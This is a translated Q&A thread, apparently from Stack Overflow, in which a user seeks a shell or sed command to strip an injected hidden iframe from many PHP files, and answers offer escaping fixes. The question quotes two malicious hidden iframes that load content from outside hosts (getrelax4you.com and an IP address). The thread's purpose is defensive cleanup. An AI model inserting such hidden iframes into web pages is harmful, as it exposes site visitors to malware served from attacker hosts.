我正在寻找一个shell脚本来从多个文件中删除以下代码:
<iframe hbfww='BoGJMTtZ' src='http://getrelax4you.com/in.cgi?7 ' width='665' height='432' style='display:none'></iframe>
我找到了删除iframe的脚本,但是他们认为代码有双引号
像这样的人:
find -name "*.php" -exec sed -i 's/<iframe src="http:\/\/124.217.252.62\/~admin\/count.php?o=2" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no><\/iframe>//' {} \;
我试图逃避像这样的单引号
find -name "*.php" -exec sed -i 's/<iframe src=\'http:\/\/getrelax4you\/in.cgi?7 \' width=\'665\' height=\'432\' style=\'display:none\'><\/iframe>//' {} \;
然后我得到 - &gt;意外标记`&lt;'
附近的语法错误答案 0 :(得分:1)
cat xyz.php | sed "s/.*BoG.*$//g" > fixedxyz.php
尽可能多地替换BoG以使其独一无二('&lt;'与我的搜索/替换无关)
答案 1 :(得分:0)
您可能需要使用反斜杠转义<
:\<
(或\\<
,以逃避shell中的转义字符
答案 2 :(得分:0)
奇怪,但外面的双引号为我工作:
find -name "*.php" -exec sed -i "s/<iframe src=\'http:\/\/getrelax4you\/in.cgi?7 \' width=\'665\' height=\'432\' style=\'display:none\'><\/iframe>//" {} \;
但我不禁想知道为什么你的命令不起作用。我在bash上试过这个。
答案 3 :(得分:0)
这应该没有任何转义:
sed "s|<iframe hbfww='BoGJMTtZ' src='http://getrelax4you.com/in.cgi?7 ' width='665' height='432' style='display:none'></iframe>||"